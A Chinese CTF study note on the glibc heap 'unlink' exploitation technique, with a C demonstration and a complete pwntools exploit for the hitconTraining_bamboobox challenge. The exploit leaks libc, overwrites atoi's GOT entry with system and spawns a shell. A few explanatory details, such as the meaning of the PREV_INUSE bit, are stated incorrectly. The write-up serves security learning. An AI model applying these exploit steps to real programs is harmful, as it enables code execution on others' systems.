PWN 堆利用 unlink 学习笔记

admin 2022年7月13日19:39:23评论20 views字数 3825阅读12分45秒阅读模式

PWN 堆利用 unlink 学习笔记

本文为看雪论坛精华文章
看雪论坛作者ID:洋洋不得意





chunk合并


chunk结构体大致如下:

struct chunk{    size_t prev_size;    size_t size;//低3位不算在size里面    union    {        struct        {            chunk* fd;            chunk* bk;        };        char userdata[0];    }}


size的低三位表示为:

PWN 堆利用 unlink 学习笔记

这里会用到  PREV_INUSE(P): 表示前一个chunk是否为allocated。


P位为1时代表物理相邻的前一个chunk为free状态,此时prev_size代表前一个chunk的大小。


fastbin的chunk在free时会与物理相邻的空闲chunk合并。





unlink漏洞


fastbin中的chunk使用的是双向链表,使用chunk的fd、bk链接

设需要unlink的指针为P,在unlink时,进行如下操作:

PWN 堆利用 unlink 学习笔记

高版本的libc会检测BK和FD的指针是否指向P:

if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                    malloc_printerr (check_action, "corrupted double-linked list", P, AV);  

伪造一个fake_chunk,绕过unlink的检测,即可任意地址写。





漏洞利用


1.设有相邻的两块chunk,p,f,使得f,free后不进入fastbin(chunk size>0x80)。


2.在p中创建一个伪造chunk块fake_chunk,使p->Fd= &p-3*sizeof(size_t);p->bK= &p-2*sizeof(size_t)。


3.修改f的chunk头,使prev_size=fake_chunk_size, PREV_INUSE = 0。


4.free(f),这时glibc查看f的chunk头,发现f的上一个chunk是free状态,就把上一个chunk(p)拿来合并。

PWN 堆利用 unlink 学习笔记

此时正好满足glibc检测条件,unlink后,先执行p=&b;再执行p=&a; 最后结果就是p指向a的首地址,从而控制了从a到p的地址(假如a可写)。





实验


直接上代码:

#include <stdio.h> size_t* a = NULL;size_t* b = NULL;size_t* c = NULL;size_t* p = NULL;size_t* f = NULL; int main(){    p = malloc(0x80);    f = malloc(0x80);    malloc(0x10);     //set f->PREV_INUSE = 0    p[17] = 0x90;//*(f-1) = 0x90;    //set f->prev_size = 0x80(fakechunk size)    p[16] = 0x80;//*(f-2) = 0x80;     //fakechunk    p[0] = 0;    p[1] = 0x81;    p[2] = &a;    p[3] = &b;     //unlink    free(f);     if(&a == p)    {        printf("hack!!!!n");        p[0] = 0x11111111;        p[1] = 0x22222222;        p[2] = 0x33333333;        p[3] = 0x44444444;         printf("a = %pn", a);        printf("b = %pn", b);        printf("c = %pn", c);        printf("p = %pn", p);    }    return 0;}//gcc -g test.c

/*多申请一块chunk,防止合并到top chunk里面*/


假设我们只可以控制p、f的申请,释放,写入,unlink后p的地址可控,即可任意地址写。

PWN 堆利用 unlink 学习笔记





总结公式


feak_chunk->Fd = &p - 3*sizeof(size_t);

feak_chunk->Bk = &p - 2*sizeof(size_t);

f->PREV_INUSE = 0;

f->prev_size = chunk_size(feak_chunk);

free(f)

p[3] = 需要覆盖的地址()

printf("%s",p) 泄露需要覆盖的地址

p[0] = system

调用需要覆盖的地址()拿shell





一道题 hitconTraining_bamboobox


程序功能就是堆的增删改查。
PWN 堆利用 unlink 学习笔记
add:
PWN 堆利用 unlink 学习笔记
change()函数没有检测chunk的大小,可以溢出到下一个堆块,覆盖chunk头。
PWN 堆利用 unlink 学习笔记
show()用来泄露glibc。
PWN 堆利用 unlink 学习笔记

套用公式的exp。
from pwn import * context.terminal = ['gnome-terminal', '-x', 'sh', '-c']context.log_level = 'debug' sh = process("./bamboobox")#gdb.debug("./bamboobox")bambooboxElf = ELF("./bamboobox")libcElf = ELF("/lib/x86_64-linux-gnu/libc.so.6") def pause_debug():    try:        raise Exception    except:        f = sys.exc_info()[2].tb_frame.f_back      debug("pause_debug [%d]" %f.f_lineno)    pause()    return  def show():    sh.sendlineafter(b"Your choice:", b"1") def add(length, name):    sh.sendlineafter(b"Your choice:", b"2")    sh.sendlineafter(b"Please enter the length of item name:", str(length + 1).encode())    sh.sendlineafter(b"Please enter the name of item:", name) def change(index, length, name):    sh.sendlineafter(b"Your choice:", b"3")    sh.sendlineafter(b"Please enter the index of item:", str(index).encode())    sh.sendlineafter(b"Please enter the length of item name:", str(length + 1).encode())    sh.sendlineafter(b"Please enter the new name of the item:", name) def remove(index):    sh.sendlineafter(b"Your choice:", b"4")    sh.sendlineafter(b"Please enter the index of item:", str(index).encode())  add(0x40, "aaa")add(0x80, "bbb")add(0x80, "ccc")  # .bss:00000000006020C0 ; Box itemlist[100]index1_p = 0x00000000006020C0 + 8 payload = flat([    p64(0),                             #feak_chunk->prev_size     p64(0x41),                          #feak_chunk->size     p64(index1_p - 3*8),                #feak_chunk->Fd = &p - 3*sizeof(size_t);    p64(index1_p - 2*8),                #feak_chunk->Bk = &p - 2*sizeof(size_t);    b'a' * 0x20,                        #feak_chunk->user_data    p64(0x40),                          #f->prev_size     p64(0x90)                           #f->size ])change(0, len(payload), payload)remove(1) payload = flat([    p64(0) * 3,    p64(bambooboxElf.got["atoi"])        #p[3] = 需要覆盖的地址()]) change(0, len(payload), payload)show()                                    #printf("%s",p) 泄露需要覆盖的地址sh.recvuntil("0 : ")libc = sh.recv(6).ljust(8,b"x00")libc = u64(libc)success("libc:%x" %libc)libcBase = libc - libcElf.sym["atoi"]success("libcBase:%x" %libcBase) change(0, 8, p64(libcBase + libcElf.sym["system"]))      #需要覆盖的地址(atoi_got)=system# pause_debug()sh.sendlineafter(b"Your choice:", b"/bin/sh")            #调用system拿shellsh.interactive()




PWN 堆利用 unlink 学习笔记


看雪ID:洋洋不得意

https://bbs.pediy.com/user-home-861996.htm

*本文由看雪论坛 洋洋不得意 原创,转载请注明来自看雪社区

PWN 堆利用 unlink 学习笔记



# 往期推荐

1.Frida工作原理学习

2.CTF反序列化入门

3.CVE-2017-0263提权漏洞学习笔记

4.Android漏洞之战——整体加壳原理和脱壳技巧详解

5.记一次安全产品的漏洞挖掘

6.CVE-2016-3309提权漏洞学习笔记



PWN 堆利用 unlink 学习笔记



PWN 堆利用 unlink 学习笔记

球分享

PWN 堆利用 unlink 学习笔记

球点赞

PWN 堆利用 unlink 学习笔记

球在看



PWN 堆利用 unlink 学习笔记

点击“阅读原文”,了解更多!

原文始发于微信公众号(看雪学苑):PWN 堆利用 unlink 学习笔记

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月13日19:39:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PWN 堆利用 unlink 学习笔记http://cn-sec.com/archives/1175620.html

发表评论

匿名网友 填写信息